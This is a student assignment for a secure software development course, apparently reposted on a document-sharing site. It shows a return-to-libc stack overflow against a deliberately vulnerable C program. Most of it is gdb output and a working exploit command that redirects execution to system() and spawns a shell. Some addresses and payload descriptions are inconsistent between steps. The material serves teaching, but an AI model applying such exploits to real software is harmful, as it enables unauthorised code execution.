return-to-libc attacks and arbitrary code execution on non-executable stacks

3
Author: Tyler Fisher Course: PROG 38263: Secure Software Development Topic: Assignment 7: return to libc attacks Date: 04/05/14 Return to libc attacks are a type of stack buffer overflow exploit that make use of functions from libc, the shared standard C library that is linked to most programs at runtime. This type of buffer overflow is used to bypass non- executable stack regions and execute arbitrary code. The following code will be used to demonstrate this type of vulnerability. int main(int argc, char *argv[]){ char buffer[128]; if(argc > 1) strcpy(buffer, argv[1]); } (gdb) disas main Dump of assembler code for function main: 0x080483fd <+0>: push %ebp 0x080483fe <+1>: mov %esp,%ebp 0x08048400 <+3>: sub $0x88,%esp 0x08048406 <+9>: cmpl $0x1,0x8(%ebp) 0x0804840a <+13>: jle 0x8048423 <main+38> 0x0804840c <+15>: mov 0xc(%ebp),%eax 0x0804840f <+18>: add $0x4,%eax 0x08048412 <+21>: mov (%eax),%eax 0x08048414 <+23>: mov %eax,0x4(%esp) 0x08048418 <+27>: lea -0x80(%ebp),%eax 0x0804841b <+30>: mov %eax,(%esp) 0x0804841e <+33>: call 0x80482d0 <strcpy@plt> 0x08048423 <+38>: leave 0x08048424 <+39>: ret End of assembler dump. # Overflow server buffer and set return address to exit() syscall printf "%024x\x00\x12\x17\x00" | victim (gdb) print printf $1 = {<text variable, no debug info>} 0xf7e3b410 <printf> (gdb) print exit $2 = {<text variable, no debug info>} 0xf7e1f750 <exit> (gdb) print system $3 = {<text variable, no debug info>} 0xf7e2ca70 <system> Use an environment variable to store the parameter for the printf() syscall that will act as the payload. $ export PAYLOAD="SMASH" (gdb) break main Breakpoint 1 at 0x80486dd: file server.c, line 29. (gdb) run (gdb) x/1000s $esp ... 0xffffd774: "GPG_AGENT_INFO=/run/user/1000/keyring-5wboCk/gpg:0:1"

Upload: tyler-j-fisher

Post on 17-May-2017

220 views

Category:

Documents


5 download

TRANSCRIPT

Page 1: Return-to-libc attacks and arbitrary code execution on non-executable stacks

Author: Tyler Fisher

Course: PROG 38263: Secure Software Development

Topic: Assignment 7: return to libc attacks

Date: 04/05/14

Return to libc attacks are a type of stack buffer overflow exploit that make use of functions from libc, the sharedstandard C library that is linked to most programs at runtime. This type of buffer overflow is used to bypass non-executable stack regions and execute arbitrary code.

The following code will be used to demonstrate this type of vulnerability.

int main(int argc, char *argv[]){ char buffer[128]; if(argc > 1) strcpy(buffer, argv[1]);}

(gdb) disas mainDump of assembler code for function main: 0x080483fd <+0>: push %ebp 0x080483fe <+1>: mov %esp,%ebp 0x08048400 <+3>: sub $0x88,%esp 0x08048406 <+9>: cmpl $0x1,0x8(%ebp) 0x0804840a <+13>: jle 0x8048423 <main+38> 0x0804840c <+15>: mov 0xc(%ebp),%eax 0x0804840f <+18>: add $0x4,%eax 0x08048412 <+21>: mov (%eax),%eax 0x08048414 <+23>: mov %eax,0x4(%esp) 0x08048418 <+27>: lea -0x80(%ebp),%eax 0x0804841b <+30>: mov %eax,(%esp) 0x0804841e <+33>: call 0x80482d0 <strcpy@plt> 0x08048423 <+38>: leave 0x08048424 <+39>: ret End of assembler dump.

# Overflow server buffer and set return address to exit() syscallprintf "%024x\x00\x12\x17\x00" | victim

(gdb) print printf$1 = {<text variable, no debug info>} 0xf7e3b410 <printf>(gdb) print exit$2 = {<text variable, no debug info>} 0xf7e1f750 <exit>(gdb) print system$3 = {<text variable, no debug info>} 0xf7e2ca70 <system>

Use an environment variable to store the parameter for the printf() syscall that will act as the payload.

$ export PAYLOAD="SMASH"

(gdb) break mainBreakpoint 1 at 0x80486dd: file server.c, line 29.(gdb) run(gdb) x/1000s $esp...0xffffd774: "GPG_AGENT_INFO=/run/user/1000/keyring-5wboCk/gpg:0:1"

Page 2: Return-to-libc attacks and arbitrary code execution on non-executable stacks

0xffffd7a9: "ANDROID_SWT=/usr/share/java"0xffffd7c5: "SHELL=/bin/bash"0xffffd7d5: "TERM=xterm"0xffffd7e0: "HISTSIZE=100"...

(gdb) x/s 0xffffd7c50xffffd7c5: "SHELL=/bin/bash"...(gdb) x/s 0xffffd7cb0xffffd7cb: "/bin/bash"

Therefore, in little endian notation:

Address for system() is \x70\xca\xe2\xf7 Address for /bin/sh in $SHELL environment variable is: \xcb\xd7\xff\xff

The payload consists of the return address for printf, the address of the exit() syscall in the server process, and theaddress for the $PAYLOAD environment variable

\x70\xca\xe2\xf7SEXY\xcb\xd7\xff\xff

The size of the NOP sled is the sum of the:

Size of the buffer: 128EBP pointer: 4RET pointer: 4

Therefore: 136 bytes required to overflow the buffer. Represent this as a sled of 136 NOPs (0x90)

$ gdb -q --args victim ̀python2 -c 'print "\x90"*136'̀Reading symbols from victim...done.(gdb) rStarting program: /home/bob/src/secure_code_development/a6/victim ����������������������������������������������������������������������������������������������������������������������������������������warning: Could not load shared library symbols for linux-gate.so.1.Do you need "set solib-search-path" or "set sysroot"?

Program received signal SIGSEGV, Segmentation fault.0x90909090 in ?? ()

Find location of exit() - \x50\xf7\xe1\xf7

(gdb) p exit$1 = {<text variable, no debug info>} 0xf7e1f750 <exit>

Therefore, the exploit can be written as:

./victim ̀python2 -c 'print "\x90"*132+"\x70\xca\xe2\xf7\x50\xf7\xe1\xf7\x87\xd7\xff\xff"'̀

To verify that the exploit executed properly and spawned a shell:

[nott@nott a6]$ gdb -q --args victim ̀python2 -c 'print "\x90"*132+"\x70\xca\xe2\xf7\x50\xf7\xe1\xf7\x5a\xd7\xff\xff"'̀Reading symbols from victim...done.(gdb) runStarting program: /home/nott/src/secure_code_development/a6/victim ������������������������������������������������������������������������������������������������������������������������������������p���P���Z���warning: Could not load shared library symbols for linux-gate.so.1.Do you need "set solib-search-path" or "set sysroot"?[nott@nott a6]$

Since we're in the newly spawned shell, we might as well exit it.

Page 3: Return-to-libc attacks and arbitrary code execution on non-executable stacks

[nott@nott a6]$ exitexit[Inferior 1 (process 18961) exited normally](gdb) exitUndefined command: "exit". Try "help".(gdb) quit[nott@nott a6]$

Return to libc exploit in action: